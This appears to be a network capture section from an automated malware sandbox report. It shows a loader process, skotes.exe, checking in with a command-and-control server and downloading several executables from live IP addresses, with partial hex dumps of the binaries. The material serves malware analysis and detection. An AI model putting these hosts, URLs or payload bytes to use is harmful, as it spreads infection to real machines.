Oct 29, 2024 20:36:39.974520922 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49995	185.215.113.16	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:39.995520115 CET	138	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 29 Oct 2024 18:26:38 GMT If-None-Match: "672128de-2b7e00"
Oct 29, 2024 20:36:40.938455105 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:40 GMT Last-Modified: Tue, 29 Oct 2024 18:26:38 GMT Connection: keep-alive ETag: "672128de-2b7e00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49996	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:43.429905891 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 37 37 36 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001776101&unit=246122658369
Oct 29, 2024 20:36:44.374432087 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49997	31.41.244.11	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:44.386676073 CET	61	OUT	GET /files/wintoolsone64.exe HTTP/1.1 Host: 31.41.244.11
Oct 29, 2024 20:36:45.259080887 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:45 GMT Content-Type: application/octet-stream Content-Length: 11810304 Last-Modified: Tue, 29 Oct 2024 17:36:31 GMT Connection: keep-alive ETag: "67211d1f-b43600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 ec b3 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 b6 40 00 00 fc 02 00 00 00 00 00 f0 18 07 00 00 10 00 00 00 d0 ad 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 10 b9 00 00 04 00 00 9a 0e b5 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 b5 00 5e 04 00 00 00 c0 b8 00 ac 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 b5 00 8c 83 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL@@@^G .text8@@ `.rdatal@l@@@.data:@.idata^b@.reloc h@B.symtabB.rsrcGH@@
Oct 29, 2024 20:36:45.259108067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 04 24 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 0c 24 c3 cc cc cc cc Data Ascii: $$$$,$4$<$ Go build ID: "fD2IVFskX0GYEt-suq1n/9P0cnC5_ZghZg_SxM4hr/iNQ5PKbnhE9Fv9_
Oct 29, 2024 20:36:45.259119987 CET	1236	IN	Data Raw: 09 3b 61 08 76 57 83 ec 08 8b 44 24 0c 0f b7 48 06 66 85 c9 74 20 8b 68 08 0f b7 d1 01 e8 81 fa 00 00 01 00 77 2c 89 44 24 10 89 54 24 14 89 54 24 18 83 c4 08 c3 c7 44 24 10 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 83 c4 08 c3 Data Ascii: ;avWD$Hft hw,D$T$T$D$D$D$*$d;av"D$Hu@(D$D$d;avD$D$d;av"D$Hu@$D$D$
Oct 29, 2024 20:36:45.259191036 CET	1236	IN	Data Raw: 00 00 00 00 83 c4 08 c3 bb 00 00 01 00 e8 a0 f4 06 00 90 e8 9a df 06 00 e9 15 ff ff ff cc cc cc cc cc 8b 0d c4 88 f4 00 64 8b 09 8b 09 3b 61 08 76 32 83 ec 10 8b 44 24 14 0f b6 48 0f 83 e1 1f 83 f9 14 75 0b 8b 40 28 89 44 24 18 83 c4 10 c3 89 04 Data Ascii: d;av2D$Hu@(D$$D$D$Id;avD$@(D$d;avD$@4D$d;avD$@4D
Oct 29, 2024 20:36:45.259202957 CET	1236	IN	Data Raw: c4 88 f4 00 64 8b 09 8b 09 3b 61 08 76 14 8b 44 24 04 8b 00 0f b6 00 f6 c0 08 0f 95 c0 88 44 24 08 c3 e8 b7 da 06 00 eb d5 cc cc cc cc cc 8b 0d c4 88 f4 00 64 8b 09 8b 09 3b 61 08 76 10 90 8b 44 24 08 8b 4c 24 04 01 c8 89 44 24 14 c3 e8 8b da 06 Data Ascii: d;avD$D$d;avD$L$D$d;avD$L$D$[d;avD$D$)d;avD$D$
Oct 29, 2024 20:36:45.259215117 CET	1236	IN	Data Raw: 7c 37 03 0f b6 6c 24 70 83 cd 02 eb 07 0f b6 6c 24 70 89 df 89 5c 24 40 89 74 24 50 89 4c 24 48 0f b6 74 24 71 96 84 c0 96 74 03 83 cd 08 95 88 44 24 3b 95 89 7c 24 4c 8d 05 80 53 85 00 89 04 24 89 7c 24 04 89 7c 24 08 e8 1c 26 05 00 8b 4c 24 4c Data Ascii: \|7l$pl$p\$@t$PL$Ht$qtD$;\|$LS$\|$\|$&L$L{T$\$;Yt$H~9\|T$Xl$19t$l$\|$L$LT$Xt$HF9)!t$d9\|l$`9t"$l$t$D$lL$L
Oct 29, 2024 20:36:45.259227991 CET	1236	IN	Data Raw: 09 3b 61 08 76 25 8b 59 10 85 db 75 25 8b 44 24 04 85 c0 74 10 8b 00 0f b6 00 f6 c0 08 0f 95 c0 88 44 24 08 c3 e8 3c a5 00 00 90 e8 06 d1 06 00 eb c4 8d 7c 24 04 39 3b 75 d3 89 23 eb cf cc cc cc cc cc cc cc cc 8b 0d c4 88 f4 00 64 8b 09 8b 09 3b Data Ascii: ;av%Yu%D$tD$<\|$9;u#d;av%Yu%D$tD$\|$9;u#d;av6Yu3D$t$D$L$D$L$U\|$9;u#
Oct 29, 2024 20:36:45.259325981 CET	1236	IN	Data Raw: 89 54 24 20 83 c4 08 c3 e8 45 e1 06 00 85 db 74 05 e8 5c 52 06 00 e8 e7 52 06 00 e8 52 52 06 00 90 e8 3c cc 06 00 eb 8a 8d 7c 24 0c 39 3b 75 9c 89 23 eb 98 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 0d c4 88 f4 00 64 8b 09 8b 09 3b 61 08 76 1a Data Ascii: T$ Et\RRRR<\|$9;u#d;avYuD$@D$\|$9;u#d;avYuD$@ D$\|$9;u#d;avYuD$Ht1D$m
Oct 29, 2024 20:36:45.259346962 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 0d c4 88 f4 00 64 8b 09 8b 09 3b 61 08 76 23 8b 59 10 85 db 75 23 8b 44 24 04 0f b6 48 0f 83 e1 1f 83 f9 12 75 05 8b 40 24 eb 02 31 c0 89 44 24 08 c3 e8 48 c7 06 00 eb c6 8d 7c 24 04 39 3b 75 d5 89 23 Data Ascii: d;av#Yu#D$Hu@$1D$H\|$9;u#d;avYuD$D$\|$9;u#d;av4Yu1D$$HD$L$T$D$L$T$ \|$9;u#
Oct 29, 2024 20:36:45.259361029 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc 8b 0d c4 88 f4 00 64 8b 09 8b 09 3b 61 08 76 1e 8b 59 10 85 db 75 1e 8b 44 24 04 0f b6 48 0f 83 e1 1f 83 f9 19 74 02 31 c0 89 44 24 08 c3 e8 7d c2 06 00 eb cb 8d 7c 24 04 39 3b 75 da 89 23 eb d6 cc cc cc cc cc cc cc Data Ascii: d;avYuD$Ht1D$}\|$9;u#d;av\|YuD$Hu1_Hw(wu,Du<(:u$00+wu8$u$u0 D$j\|$
Oct 29, 2024 20:36:45.264669895 CET	1236	IN	Data Raw: 04 0f b6 48 0f 83 e1 1f 83 f9 15 75 05 8b 40 20 eb 02 31 c0 89 44 24 08 c3 e8 c8 bd 06 00 eb c6 8d 7c 24 04 39 3b 75 d5 89 23 eb d1 cc cc cc cc cc cc cc cc cc cc 8b 0d c4 88 f4 00 64 8b 09 8b 09 3b 61 08 76 17 8b 59 10 85 db 75 17 8b 44 24 04 0f Data Ascii: Hu@ 1D$\|$9;u#d;avYuD$@D$\|$9;u#d;avYuD$Ht1D$=\|$9;u#d;av$Yu!D$$hD$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50000	185.215.113.16	80	4308	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:55.165424109 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 20:36:56.087130070 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:55 GMT Content-Type: application/octet-stream Content-Length: 2850304 Last-Modified: Tue, 29 Oct 2024 18:26:40 GMT Connection: keep-alive ETag: "672128e0-2b7e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,w,`Ui` @ @.rsrc`2@.idata 8@sgyfneub ++:@wyedghxm +X+@.taggant@+"\+@
Oct 29, 2024 20:36:56.087166071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:56.087183952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:56.087256908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:56.087274075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:56.087291956 CET	660	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:56.087307930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:56.087332964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:56.087352037 CET	424	IN	Data Raw: 2a 1b 71 31 3a 0e 78 2b 71 f7 aa 22 87 9a ac 17 3f 07 4d 9e 7c 25 2b 16 6f f8 83 ee 33 07 50 7e 1d 14 e2 9e 7c 25 2b 88 6e ec 83 9e 27 07 ae 1b 8e b8 03 26 df 2c a7 b6 c7 1d 26 3c 6f f0 b8 9d 0c 07 1e 26 d3 d6 b0 6d 15 e9 fc 68 70 c2 aa 1e 48 11 Data Ascii: q1:x+q"?M\|%+o3P~\|%+n'&,&<o&mhpH-"]Ayn, 4Ty(["C- 8i&CD o1q{[9qP1~&2>D.Lz(!nzztCkuARr+Cr*
Oct 29, 2024 20:36:56.087368965 CET	1236	IN	Data Raw: 71 19 28 6c c6 17 98 25 f4 5d a0 25 48 1a 5a 25 76 a3 77 20 fc 0a 71 59 48 3a 7b 69 85 2a ad 79 f5 f6 67 81 3e fd b7 be 69 4a 7b 99 07 3f 20 70 76 fd 6f 26 f9 7a a6 44 15 5d ce f1 23 7d 8f 25 97 09 b2 46 a4 e2 7e 50 a4 13 81 c9 73 25 b3 59 eb 75 Data Ascii: q(l%]%HZ%vw qYH:{iyg>iJ{? pvo&zD]#}%F~Ps%Yu_jw7aI1~t>$Ps2A<LKobp?uppa"r>Rq7VD9(vb1[8<Q]'#\8]5Pd>)1p}qx["!~1
Oct 29, 2024 20:36:56.092828989 CET	1236	IN	Data Raw: a1 e3 ce 29 30 99 b8 2e 3e 3e c1 7d d4 58 78 54 38 4a e6 11 75 eb 24 42 76 31 b9 8d 5c 9c 99 70 3a 2c e8 26 45 f5 d7 20 59 53 66 0e ea 7c 79 01 e8 eb e3 85 4e 88 b9 36 6a 42 3c 48 82 07 63 8d 89 84 e7 85 5c b5 16 97 e2 ae 56 8e 2a 09 a2 5f d7 e3 Data Ascii: )0.>>}XxT8Ju$Bv1\p:,&E YSf\|yN6jB<Hc\V_(5)2`Eo(K6>]n/eW~6?GiWt]*;p[Va9-KVU\Frgye\zh@-#GlvT~+~YdIhc[{m,N8
Oct 29, 2024 20:37:02.353431940 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 20:37:02.639667034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:02 GMT Content-Type: application/octet-stream Content-Length: 1915904 Last-Modified: Tue, 29 Oct 2024 18:58:42 GMT Connection: keep-alive ETag: "67213062-1d3c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`L@LD@Wk@L8@L @.rsrc@.idata @ p+@dqejjcio0 2"@gfikdquePL@.taggant0`L"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50001	185.215.113.43	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:57.601875067 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 34 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002431001&unit=246122658369
Oct 29, 2024 20:36:58.489595890 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50002	185.215.113.16	80	424	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:36:58.513809919 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 20:36:59.429435968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:36:59 GMT Content-Type: application/octet-stream Content-Length: 2930688 Last-Modified: Tue, 29 Oct 2024 18:58:21 GMT Connection: keep-alive ETag: "6721304d-2cb800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 48 f5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@/H,@Th@ ~@.rsrc@@.idata @sqhbpttq*)@eaurdqdn/,@.taggant0/",@
Oct 29, 2024 20:36:59.429472923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:59.429485083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:59.429635048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:36:59.429646969 CET	1236	IN	Data Raw: 48 0e 53 fa 64 cb 8d 98 75 79 66 2b e9 ae df 3d fa 5a 18 1a 1a fa d7 33 ef 3e e7 98 ad 64 72 53 fc 9e 0f be 08 dd 8b 44 d9 ce 2d 26 7d 61 a9 20 27 52 6d 03 19 23 0b 85 56 36 e2 9e 2c 42 54 84 fd 57 73 67 24 37 67 26 f1 c1 d3 73 ec 41 68 77 2d a2 Data Ascii: HSduyf+=Z3>drSD-&}a 'Rm#V6,BTWsg$7g&sAhw-p{8 p<;cx&zeA#TVc.p<\`>J(~'t H 41n?dU3Q[$YQL_<tf^mROD<S:<`Z&s4]xp:6
Oct 29, 2024 20:36:59.429658890 CET	1236	IN	Data Raw: 51 35 21 71 e7 27 c0 df 56 d2 ff 6d 61 d9 0e a1 5b f0 6f 31 ac 79 91 d1 0d 6e 6b 23 6b 35 60 43 81 a2 de 0d 1b b3 d6 5d 58 51 90 44 8e c6 3c c6 18 62 ed 7b de a6 e2 6f 5c 01 ad 35 3d 59 e7 35 36 86 f4 64 67 ee 06 56 28 62 83 84 9b 20 54 95 19 61 Data Ascii: Q5!q'Vma[o1ynk#k5`C]XQD<b{o\5=Y56dgV(b Ta~,8=$`)~<?<^&]Ba!f0DGW3W]kEo^zoZExG;A@cJ%fU_5]x6bV9,S=wGEu+oXz>xT+Z\J
Oct 29, 2024 20:36:59.429672003 CET	1236	IN	Data Raw: a5 75 70 1b 84 98 ae 32 13 16 36 52 86 f8 45 88 17 84 de 44 9e 19 3d 7c 1b 6d f5 a5 22 31 4a 31 a0 06 89 ab 71 55 d7 3e 4e d9 43 c5 67 d8 0d 9d b4 09 0d 7c b9 15 d9 90 f4 fd 27 85 24 d9 3f 90 d9 81 51 78 3d d7 46 75 07 fa 0f 6c 62 cd 67 08 c2 d1 Data Ascii: up26RED=\|m"1J1qU>NCg\|'$?Qx=Fulbg9#?PPH!QM$cvklR,\|Hl'\Ol7\A(a'_B`_m0LH?x_xF`ye`8Jc+^Hej$,t #(8 ]1,*aO
Oct 29, 2024 20:36:59.429683924 CET	1236	IN	Data Raw: 16 ad 53 2b 2e 51 84 88 1b 96 6a 57 83 fe 6f 6c 1b 5a e7 91 9d 39 80 9c 31 85 eb 0a 45 fa 57 a3 5c 18 5b 56 05 9a bf ad a4 74 a6 85 85 71 e2 ef 0b 35 61 6b 0a b1 ef ed 39 b8 41 89 5f d1 55 c9 41 8a 58 f1 44 f6 96 c8 20 4a 7d a9 62 d6 0a 15 a6 9a Data Ascii: S+.QjWolZ91EW\[Vtq5ak9A_UAXD J}bMJfZCH0{`(N9+wk_7/U`*b<%^~D&R8wE,@bt<y}Vo]~0=V65Nc/)&U\^cYO=c+`As5&5KR
Oct 29, 2024 20:36:59.429694891 CET	1236	IN	Data Raw: ac e4 ab b5 44 55 97 bc 78 29 57 bf fe 31 44 b9 a5 98 8f 62 3f 5f bc 5b 55 5d 90 7b 32 5c 75 74 a8 59 7b b9 24 dd ca 4d 7a 7a 91 6c ec b6 c2 cc 01 8e 10 60 2b 57 a2 7a 3d 03 21 93 fd ac a7 47 ae 11 15 be 0c 2c e3 e3 ea 5d 37 fd 78 52 86 e9 bc 82 Data Ascii: DUx)W1Db?_[U]{2\utY{$Mzzl`+Wz=!G,]7xRFS-G;"F?cj!G5zxKJ@`n%AzJhX26Ba^&3?GZ:0'#e"IXr-%r=0A};D)cyZ^Lkq@<zzhVn4
Oct 29, 2024 20:36:59.429708004 CET	1236	IN	Data Raw: 82 83 f0 be df 2f 6c 61 69 86 df 6a f1 d1 1a b2 31 c2 6c 3c 8b c8 35 7c 78 d2 04 79 e2 e0 cf 65 f7 4a af f0 a7 da 6f 5b 9c e2 75 8e 09 c7 63 8b 1d 5f e7 76 20 d8 c5 0b 18 4a 0b aa 1b aa a3 5f 42 f2 ff a8 28 4a 07 3f 25 17 e7 45 6d ae 5f 25 ea 3e Data Ascii: /laij1l<5\|xyeJo[uc_v J_B(J?%Em_%>qjn(Fz\]Jt>C',B;95r6oz> _OJ<[R`.G2SA"WOFe~fqY-"{2^F@LdZJ
Oct 29, 2024 20:36:59.434828997 CET	1120	IN	Data Raw: dd de e2 0b d9 f6 9f 1e 84 dc 3f f3 68 8f 0a ab f2 df 36 64 31 4d 97 61 50 58 ef 9d 9d 6f 17 c8 e2 57 48 4f d4 ad 80 b3 2c 38 5b 12 0a cf 1f b1 cb 57 46 36 48 c7 92 4c 22 86 36 8e 56 08 b8 56 3d 00 5c 57 84 6d 3e 69 b5 1c 37 9f c2 aa 6e b4 57 37 Data Ascii: ?h6d1MaPXoWHO,8[WF6HL"6VV=\Wm>i7nW7dTSv-@79b<+.I%9*obRiJS`u4K75+..x&%[&{QUF>F3;#\i@"%idO>!L+M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
